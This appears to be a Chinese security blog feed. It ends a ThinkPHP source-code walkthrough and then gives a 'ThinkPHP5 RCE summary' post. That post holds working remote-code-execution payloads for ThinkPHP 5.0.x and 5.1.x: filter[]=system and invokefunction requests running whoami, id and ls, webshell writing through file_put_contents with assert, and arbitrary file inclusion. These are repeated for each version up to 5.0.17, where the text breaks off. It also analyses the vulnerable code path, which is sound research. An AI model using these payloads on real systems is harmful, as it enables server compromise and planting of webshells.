<p>可以看出来<code>input()</code>是用来接收参数，并且经过了一层<code>filterValue()</code>过滤和<code>$this-&gt;typeCast($data, $type)</code>强制类型转换</p>
<pre><code class="language-php ">private function filterValue(&amp;$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (false !== strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }
    return $this-&gt;filterExp($value);
}
</code></pre>
<p><code>filterValue()</code>会使用<code>$fileter</code>通过call_user_func来回调过滤，thinkphp5.x的rce就是覆盖此处的<code>$filter</code>为system()来执行命令，最后会<code>$filterExp</code>过滤关键字符</p>
<pre><code class="language-php ">public function filterExp(&amp;$value)
{
    // 过滤查询特殊字符
    if (is_string($value) &amp;&amp; preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOT EXISTS|NOTEXISTS|EXISTS|NOT NULL|NOTNULL|NULL|BETWEEN TIME|NOT BETWEEN TIME|NOTBETWEEN TIME|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
    // TODO 其他安全过滤
}
</code></pre>
<p>thinkphp3.2.3的<code>exp</code>和<code>bind</code>注入就出自此处。再来看上文的强制类型转换<code>$this-&gt;typeCast($data, $type)</code></p>
<pre><code class="language-php ">private function typeCast(&amp;$data, $type)
{
    switch (strtolower($type)) {
            // 数组
        case 'a':
            $data = (array)$data;
            break;
            // 数字
        case 'd':
            $data = (int)$data;
            break;
            // 浮点
        case 'f':
            $data = (float)$data;
            break;
            // 布尔
        case 'b':
            $data = (boolean)$data;
            break;
            // 字符串
        case 's':
        default:
            if (is_scalar($data)) {
                $data = (string)$data;
            } else {
                throw new InvalidArgumentException('variable type error：' . gettype($data));
            }
    }
}
</code></pre>
<p>此时可知 <code>input()</code>助手函数 -><code>request</code>类<code>param()</code> -> <code>request</code>类<code>input()</code>获取参数<br />
我们此时再来看下request类，这个类中有很多函数，比如get()、post()、put()、env()、delete()等，其实他们最终都会流向<code>input()</code>函数</p>
<pre><code class="language-php ">public function get($name = '', $default = null, $filter = '')
{
    if (empty($this-&gt;get)) {
        $this-&gt;get = $_GET;
    }
    if (is_array($name)) {
        $this-&gt;param = [];
        $this-&gt;mergeParam = false;
        return $this-&gt;get = array_merge($this-&gt;get, $name);
    }
    return $this-&gt;input($this-&gt;get, $name, $default, $filter);
}
</code></pre>
<p>比如<code>get()</code>会合并<code>$_GET</code>数组中的参数然后传入<code>input()</code>。</p>
<h2>小结</h2>
<p>Request类是一个获取请求类，thinkphp将多种请求的全局数组封装了一下，变为自己的函数，并且进行了过滤和强制类型转换，以此保证参数的安全性。</p>
<h1>视图渲染View.php</h1>
<pre><code class="language-php ">&lt;?php

namespace appindexcontroller;

use thinkController;

class Index extends Controller
{
    public function index($name)
    {
        $this-&gt;assign('name',$name);
        return $this-&gt;fetch();
    }
}

</code></pre>
<p>写一个index方法来赋值变量并渲染模板，需要注意继承<code>父类Controller</code>，不然没法使用assign和fetch。创建模板文件<code>application/index/view/index/index.html</code>，内容为</p>
<pre><code class="language-php ">hello {$name}
</code></pre>
<p>然后我们来康康thinkphp是怎么实现的模板功能，打断点</p>
<pre><code class="language-php ">//thinkphp/library/think/Controller.php
protected function assign($name, $value = '')
{
    $this-&gt;view-&gt;assign($name, $value);

    return $this;
}
</code></pre>
<p>跟进<code>$this-&gt;view-&gt;assign()</code></p>
<pre><code class="language-php ">public function assign($name, $value = '')
{
    if (is_array($name)) {
        $this-&gt;data = array_merge($this-&gt;data, $name);
    } else {
        $this-&gt;data[$name] = $value;
    }
    return $this;
}
</code></pre>
<p>这个方法中把赋给模板的参数合并到<code>$this-&gt;data</code>，然后返回进入<code>$this-&gt;fetch()</code>，</p>
<pre><code class="language-php ">//thinkphp/library/think/Controller.php:118
protected function fetch($template = '', $vars = [], $replace = [], $config = [])
{
    return $this-&gt;view-&gt;fetch($template, $vars, $replace, $config);
}
</code></pre>
<p>继续跟进</p>
<pre><code class="language-php ">public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
    // 模板变量
    $vars = array_merge(self::$var, $this-&gt;data, $vars);

    // 页面缓存
    ob_start();
    ob_implicit_flush(0);

    // 渲染输出
    try {
        $method = $renderContent ? 'display' : 'fetch';
        // 允许用户自定义模板的字符串替换
        $replace = array_merge($this-&gt;replace, $replace, (array) $this-&gt;engine-&gt;config('tpl_replace_string'));
        $this-&gt;engine-&gt;config('tpl_replace_string', $replace);
        $this-&gt;engine-&gt;$method($template, $vars, $config);
    } catch (Exception $e) {
        ob_end_clean();
        throw $e;
    }

    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter', $content);
    return $content;
}
</code></pre>
<p>先开启缓冲区，然后定义变量用来存放用户自定义的需要替换的字符串，进入<code>config()</code>函数中做渲染引擎初始化配置</p>
<pre><code class="language-php ">public function config($name, $value = null)
{
    if (is_array($name)) {
        $this-&gt;template-&gt;config($name);
        $this-&gt;config = array_merge($this-&gt;config, $name);
    } elseif (is_null($value)) {
        return $this-&gt;template-&gt;config($name);
    } else {
        $this-&gt;template-&gt;$name = $value;
        $this-&gt;config[$name]   = $value;
    }
}
</code></pre>
<p>然后进入<code>$this-&gt;engine-&gt;$method($template, $vars, $config);</code></p>
<pre><code class="language-php ">public function fetch($template, $data = [], $config = [])
{
    if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
        // 获取模板文件名
        $template = $this-&gt;parseTemplate($template);
    }
    // 模板不存在 抛出异常
    if (!is_file($template)) {
        throw new TemplateNotFoundException('template not exists:' . $template, $template);
    }
    // 记录视图信息
    App::$debug &amp;&amp; Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
    $this-&gt;template-&gt;fetch($template, $data, $config);
}
</code></pre>
<p>当没有传模板名时会使用<code>$this-&gt;parseTemplate($template)</code>来自动搜索模板文件</p>
<pre><code class="language-php ">private function parseTemplate($template)
{
    ...
        if ($this-&gt;config['view_base']) {
            // 基础视图目录
            $module = isset($module) ? $module : $request-&gt;module();
            $path   = $this-&gt;config['view_base'] . ($module ? $module . DS : '');
        } else {
            $path = isset($module) ? APP_PATH . $module . DS . 'view' . DS : $this-&gt;config['view_path'];
        }

    $depr = $this-&gt;config['view_depr'];
    if (0 !== strpos($template, '/')) {
        $template   = str_replace(['/', ':'], $depr, $template);
        $controller = Loader::parseName($request-&gt;controller());
        if ($controller) {
            if ('' == $template) {
                // 如果模板文件名为空 按照默认规则定位
                $template = str_replace('.', DS, $controller) . $depr . (1 == $this-&gt;config['auto_rule'] ? Loader::parseName($request-&gt;action(true)) : $request-&gt;action());
            } 
            ...
        }
    }
    ...
        return $path . ltrim($template, '/') . '.' . ltrim($this-&gt;config['view_suffix'], '.');
}
</code></pre>
<p>最后返回的就是<code>E:codephpthinkphpthinkphp5public/../application/indexviewindexindex.html</code>，这是默认的模板位置，然后debug之后又进入<code>$this-&gt;template-&gt;fetch($template, $data, $config)</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127220985.jpg" alt="image" /><br />
为了方便看流程，我注释掉了部分代码，可以看到首先是<code>$this-&gt;data = $vars;</code>将参数合并到<code>data</code>中，然后开启缓冲区，进入<code>$this-&gt;storage-&gt;read($cacheFile, $this-&gt;data)</code>，然后输出<code>$content</code>，最后<code>$content</code>就是我们模板已经被解析过的内容。那么我们进入<code>$this-&gt;storage-&gt;read()</code>看下</p>
<pre><code class="language-php ">public function read($cacheFile, $vars = [])
{
    $this-&gt;cacheFile = $cacheFile;
    if (!empty($vars) &amp;&amp; is_array($vars)) {
        // 模板阵列变量分解成为独立变量
        extract($vars, EXTR_OVERWRITE);
    }
    //载入模版缓存文件
    include $this-&gt;cacheFile;
}
</code></pre>
<p>会将我们的参数进行变量覆盖，然后包含缓存文件，也就是我们的模板文件，在包含的时候缓冲区就写入了渲染完成的模板的内容，而后<code>$content</code>获取到的就是渲染的内容，这就是全部流程。</p>
<h2>小结</h2>
<p><img src="/wp-content/uploads/2019/11/20191127224186.jpg" alt="image" /></p>
<h1>总结</h1>
<p>thinkphp那么多的代码不是我一篇文章就能说完的，阅读thinkphp的源码你需要对thinkphp的开发流程及php的函数特性有着足够深入的了解，在本文中只是简单介绍了thinkphp的实现过程，有很多东西没有时间和精力去写笔记，比如模板解析、Model层、数据库交互、模板缓存等是怎么实现的，东西是写给自己看的，如果有前辈或者后人看到了这篇文章，请多谅解。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp5 RCE总结</title>
		<link>/audit/1078.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 Nov 2019 15:26:26 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[thinkphp]]></category>
		<guid isPermaLink="false">/?p=1078</guid>

					<description><![CDATA[thinkphp5最出名的就是rce，我先总结rce，rce有两个大版本的分别 ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>5最出名的就是<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>，我先总结rce，rce有两个大版本的分别</p>
<ol>
<li>ThinkPHP 5.0-5.0.24</li>
<li>ThinkPHP 5.1.0-5.1.30</li>
</ol>
<p>因为漏洞触发点和版本的不同，导致payload分为多种，其中一些payload需要取决于debug选项<br />
比如直接访问路由触发的</p>
<p>5.1.x ：</p>
<pre><code class="">?s=index/thinkRequest/input&amp;filter[]=system&amp;data=pwd
?s=index/thinkviewdriverPhp/display&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinktemplatedriverfile/write&amp;cacheFile=shell.php&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinkContainer/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</code></pre>
<p>5.0.x ：</p>
<pre><code class="">?s=index/thinkconfig/get&amp;name=database.username # 获取配置信息
?s=index/thinkLang/load&amp;file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&amp;file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index|thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][0]=whoami
</code></pre>
<p>还有一种</p>
<pre><code class="">http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;get[]=phpinfo
_method=__construct&amp;filter[]=system&amp;method=GET&amp;get[]=whoami

# ThinkPHP &lt;= 5.0.13
POST /?s=index/index
s=whoami&amp;_method=__construct&amp;method=&amp;filter[]=system

# ThinkPHP &lt;= 5.0.23、5.1.0 &lt;= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=ls -al

# ThinkPHP &lt;= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&amp;filter[]=system&amp;method=get&amp;get[]=ls+-al
_method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=ls
</code></pre>
<p>可以看到payload分为两种类型，一种是因为Request类的<code>method</code>和<code>__construct</code>方法造成的，另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验，我们下面分两种来讲，然后会将thinkphp5的每个小版本都测试下找下可用的payload。</p>
<h1>thinkphp5 method任意调用方法导致rce</h1>
<p>php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug</p>
<h1>创建项目</h1>
<pre><code class="">composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist
</code></pre>
<p>我这边创建完项目之后拿到的版本不是5.0.5的，如果你的也不是就把compsoer.json里的require字段改为</p>
<pre><code class="language-json ">"require": {
    "php": "&gt;=5.4.0",
    "topthink/framework": "5.0.5"
},
</code></pre>
<p>然后运行<code>compsoer update</code></p>
<h1>漏洞分析</h1>
<p><code>thinkphp/library/think/Request.php:504</code> <code>Request</code>类的<code>method</code>方法</p>
<p><img src="https://y4er.com/img/uploads/20191127224395.jpg" alt="image" /></p>
<p>可以通过POST数组传入<code>__method</code>改变<code>$this-&gt;{$this-&gt;method}($_POST);</code>达到任意调用此类中的方法。</p>
<p>然后我们再来看这个类中的<code>__contruct</code>方法</p>
<pre><code class="language-php ">protected function __construct($options = [])
{
    foreach ($options as $name =&gt; $item) {
        if (property_exists($this, $name)) {
            $this-&gt;$name = $item;
        }
    }
    if (is_null($this-&gt;filter)) {
        $this-&gt;filter = Config::get('default_filter');
    }
    // 保存 php://input
    $this-&gt;input = file_get_contents('php://input');
}
</code></pre>
<p>重点是在<code>foreach</code>中，可以覆盖类属性，那么我们可以通过覆盖<code>Request</code>类的属性</p>
<p><img src="/wp-content/uploads/2019/11/20191127225026.jpg" alt="image" /></p>
<p>这样<code>filter</code>就被赋值为<code>system()</code>了，在哪调用的呢？我们要追踪下thinkphp的运行流程<br />
thinkphp是单程序入口，入口在public/index.php，在index.php中</p>
<pre><code class="">require __DIR__ . '/../thinkphp/start.php';
</code></pre>
<p>引入框架的<code>start.php</code>，跟进之后调用了App类的静态<code>run()</code>方法</p>
<p><img src="/wp-content/uploads/2019/11/20191127224263.jpg" alt="image" /></p>
<p>看下<code>run()</code>方法的定义</p>
<pre><code class="language-php ">public static function run(Request $request = null)
{
    ...省略...
        // 获取应用调度信息
        $dispatch = self::$dispatch;
    if (empty($dispatch)) {
        // 进行URL路由检测
        $dispatch = self::routeCheck($request, $config);
    }
    // 记录当前调度信息
    $request-&gt;dispatch($dispatch);

    // 记录路由和请求信息
    if (self::$debug) {
        Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
        Log::record('[ HEADER ] ' . var_export($request-&gt;header(), true), 'info');
        Log::record('[ PARAM ] ' . var_export($request-&gt;param(), true), 'info');
    }
    ...省略...
        switch ($dispatch['type']) {
            case 'redirect':
                // 执行重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')-&gt;code($dispatch['status']);
                break;
            case 'module':
                // 模块/控制器/操作
                $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
                break;
            case 'controller':
                // 执行控制器操作
                $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
                $data = Loader::action($dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix']);
                break;
            case 'method':
                // 执行回调方法
                $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function':
                // 执行闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response':
                $data = $dispatch['response'];
                break;
            default:
                throw new InvalidArgumentException('dispatch type not support');
        }
}
</code></pre>
<p>首先是经过<code>$dispatch = self::routeCheck($request, $config)</code>检查调用的路由，然后会根据debug开关来选择是否执行<code>Request::instance()-&gt;param()</code>，然后是一个<code>switch</code>语句，当<code>$dispatch</code>等于<code>controller</code>或者<code>method</code>时会执行<code>Request::instance()-&gt;param()</code>，只要是存在的路由就可以进入这两个case分支。</p>
<p>而在 ThinkPHP5 完整版中，定义了验证码类的路由地址<code>?s=captcha</code>，默认这个方法就能使<code>$dispatch=method</code>从而进入<code>Request::instance()-&gt;param()</code>。</p>
<p>我们继续跟进<code>Request::instance()-&gt;param()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127220215.jpg" alt="image" /></p>
<p>执行合并参数判断请求类型之后return了一个<code>input()</code>方法，跟进</p>
<p><img src="/wp-content/uploads/2019/11/20191127229199.jpg" alt="image" /></p>
<p>将被<code>__contruct</code>覆盖掉的filter字段回调进<code>filterValue()</code>，这个方法我们需要特别关注了，因为 <code>Request</code> 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 <code>filterValue</code> 方法，而该方法中就存在可利用的 <code>call_user_func</code> 函数。跟进</p>
<p><img src="/wp-content/uploads/2019/11/20191127223843.jpg" alt="image" /></p>
<p><code>call_user_func</code>调用<code>system</code>造成rce。</p>
<p>梳理一下：<code>$this-&gt;method</code>可控导致可以调用<code>__contruct()</code>覆盖Request类的filter字段，然后App::run()执行判断debug来决定是否执行<code>$request-&gt;param()</code>，并且还有<code>$dispatch['type']</code> 等于<code>controller</code>或者 <code>method</code> 时也会执行<code>$request-&gt;param()</code>，而<code>$request-&gt;param()</code>会进入到<code>input()</code>方法，在这个方法中将被覆盖的<code>filter</code>回调<code>call_user_func()</code>，造成rce。</p>
<p>最后借用七月火师傅的一张流程图<br />
<img src="/wp-content/uploads/2019/11/20191127228626.jpg" alt="image" /></p>
<h1>method __contruct导致的rce 各版本payload</h1>
<p>一个一个版本测试，测试选项有命令执行、写shell、debug选项</p>
<h2>5.0</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.1</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.2</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.3</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.4</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.5</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.6</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.7</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.8</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.9</h2>
<p>debug 无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.10</h2>
<p>从5.0.10开始默认debug=false，debug无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.11</h2>
<p>默认debug=false，debug无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.12</h2>
<p>默认debug=false，debug无关<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h2>5.0.13</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<h1>版本和DEBUG选项的关系</h1>
<p>5.0.13版本之后需要开启debug才能rce，为什么？比较一下5.0.13和5.0.5版本的代码</p>
<p>https://github.com/top-think/framework/compare/v5.0.5&#8230;v5.0.13#diff-d86cf2606459bf4da21b7c3a1f7191f3</p>
<p>可见多了一个<code>exec</code>方法把<code>switch ($dispatch['type'])</code>摘出来了，然后在<code>case module</code>中执行了<code>module()</code>，在<code>module()</code>中多了两行。</p>
<pre><code class="">// 设置默认过滤机制
$request-&gt;filter($config['default_filter']);
</code></pre>
<p>问题就出在这，回顾我们上文分析5.0.5，是从<code>App::run()</code>方法中第一次加载默认filter位置: <code>thinkphp/library/think/App.php</code></p>
<pre><code class="">$request-&gt;filter($config['default_filter']);
</code></pre>
<p>在覆盖的时候可以看到，默认<code>default_filter</code>是为空字符串，所以最后便是进入了<code>$this-&gt;filter = $filter</code>导致<code>system</code>值变为空。</p>
<pre><code class="language-php ">public function filter($filter = null){
        if (is_null($filter)) {
            return $this-&gt;filter;
        } else {
            $this-&gt;filter = $filter;
        }
}
</code></pre>
<p>接下来就是我们进入了路由<code>check</code>，从而覆盖<code>filter</code>的值为<code>system</code><br />
<img src="/wp-content/uploads/2019/11/20191127223884.jpg" alt="image" /></p>
<p>但是在5.0.13中，摘出来的<code>exec()</code>中的<code>module()</code>方法<code>thinkphp/library/think/App.php:544</code> 会重新执行一次<code>$request-&gt;filter($config['default_filter']);</code> 把我们覆盖好的<code>system</code>重新变为了空，导致失败。</p>
<p><strong>那为什么开了debug就可以rce？</strong><br />
<img src="/wp-content/uploads/2019/11/20191127223239.jpg" alt="image" /><br />
这里会先调用<code>$request-&gt;param()</code>，然后在执行<code>self::exec($dispatch, $config)</code>，造成rce。</p>
<p><strong>那有没有别的办法不开debug直接rce呢？</strong><br />
和debug的原理一样，switch的时候进入module分支会被覆盖，那就进入到其他的分支。<br />
<img src="/wp-content/uploads/2019/11/20191127221821.jpg" alt="image" /><br />
在thinkphp5完整版中官网揉进去了一个验证码的路由，可以通过这个路由触发rce</p>
<p>这个是我在5.0.13下试出来的payload <code>"topthink/think-captcha": "^1.0"</code></p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<p>我们继续</p>
<h2>5.0.13补充</h2>
<p>补充<br />
有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.14</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.15</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.16</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.17</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
